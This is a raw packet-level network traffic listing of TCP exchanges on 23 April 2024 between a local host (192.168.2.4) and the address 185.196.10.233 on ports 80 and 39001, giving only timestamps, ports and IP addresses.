Apr 23, 2024 23:02:08.068339109 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.068341970 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.068358898 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.068387032 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.068406105 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.068424940 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.068444014 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.068460941 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.068480015 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.068497896 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.068511963 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.068551064 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.068559885 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.068597078 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.068609953 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.068634987 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.068644047 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.068672895 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.068684101 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.068708897 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.068727016 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.068748951 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.068769932 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.068785906 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.068810940 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.068823099 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.068860054 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.068875074 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.068893909 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.068912983 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.068918943 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.068954945 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.068993092 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.069001913 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.069025040 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.069027901 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.069060087 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.069063902 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.069099903 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.069111109 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.069134951 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.069138050 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.069154978 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.069178104 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.069190025 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.069214106 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.069233894 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.069251060 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.069271088 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.069288015 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.069293976 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.069423914 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.093266010 CEST	39001	49735	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.093333960 CEST	49735	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.125412941 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.125485897 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.125700951 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.125740051 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.125756979 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.125778913 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.125786066 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.125818014 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.125833988 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.125858068 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.125873089 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.125895977 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.125907898 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.125932932 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.125938892 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.125969887 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.125981092 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.126008987 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.126019001 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.126045942 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.126054049 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.126085043 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.126094103 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.126122952 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.126137972 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.126162052 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.126173019 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.126200914 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.126209974 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.126239061 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.126252890 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.126277924 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.126292944 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.126318932 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.126327991 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.126358032 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.126367092 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.126396894 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.126409054 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.126458883 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.280360937 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.280462980 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.280503988 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.280543089 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.280543089 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.280582905 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.280591965 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.280622005 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.280662060 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.280699015 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.280710936 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.280736923 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.280747890 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.280776978 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.280812979 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.280849934 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.280860901 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.280889034 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.280896902 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.280951023 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.280991077 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.280997038 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.281032085 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.281075954 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.281115055 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.281116009 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.281152964 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.281157970 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.281192064 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.281229973 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.281267881 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.281274080 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.281308889 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.281315088 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.323406935 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.326869011 CEST	39001	49735	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.336564064 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.337694883 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.337737083 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.337774038 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.337779045 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.337821007 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.337837934 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.337862968 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.337899923 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.337930918 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.337938070 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.337975979 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.337991953 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.338016033 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.338053942 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.338092089 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.338099957 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.338133097 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.338135958 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.338174105 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.338210106 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.338248014 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.338258028 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.338289976 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.338294029 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.338329077 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.338366985 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.338373899 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.338414907 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.338473082 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.338474035 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.338512897 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.338551998 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.338593006 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.338593006 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.338634014 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.338645935 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.338685036 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.338727951 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.338766098 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.338779926 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.338807106 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.338814974 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.338848114 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.338886023 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.338922977 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.338938951 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.338962078 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.338968039 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.339003086 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339046001 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339083910 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339095116 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.339126110 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339133024 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.339165926 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339201927 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339238882 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339248896 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.339278936 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339293957 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.339320898 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339359045 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339389086 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.339399099 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339437962 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339447975 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.339476109 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339514017 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339551926 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339560986 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.339591026 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339600086 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.339632988 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339670897 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339709997 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339719057 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.339746952 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339755058 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.339787006 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339824915 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339832067 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.339864016 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339903116 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339914083 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.339941978 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.339977980 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340008020 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.340014935 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340054989 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340066910 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.340092897 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340142012 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.340147972 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340186119 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340220928 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340225935 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.340260029 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340300083 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340337038 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.340337038 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340374947 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340398073 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.340415001 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340451002 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340465069 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.340491056 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340532064 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340547085 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.340570927 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340610027 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340620041 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.340648890 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340684891 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340722084 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340730906 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.340759993 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340765953 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.340800047 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340842962 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340879917 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340887070 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.340917110 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340929985 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.340955019 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.340991974 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341028929 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341046095 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.341067076 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341078043 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.341105938 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341144085 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341169119 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.341181993 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341219902 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341248035 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.341258049 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341296911 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341334105 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341339111 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.341372967 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341381073 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.341411114 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341449022 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341485023 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341489077 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.341525078 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341531992 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.341564894 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341603994 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341618061 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.341641903 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341679096 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341696978 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.341716051 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341754913 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341759920 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.341794968 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341831923 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341871023 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341880083 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.341908932 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341916084 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.341948032 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.341984987 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.342020988 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.342030048 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.342061043 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.342072010 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.342099905 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.342138052 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.342147112 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.370189905 CEST	49735	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.385837078 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.492311001 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.492372036 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.492383003 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.492413998 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.492430925 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.492455959 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.492499113 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.492499113 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.492521048 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.492542982 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.492580891 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.492594957 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.492620945 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.492634058 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.492662907 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.492677927 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.492702007 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.492718935 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.492742062 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.492759943 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.492784023 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.492799044 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.492822886 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.492834091 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.492862940 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.492887974 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.492904902 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.492913008 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.492959023 CEST	49733	80	192.168.2.4	185.196.10.233
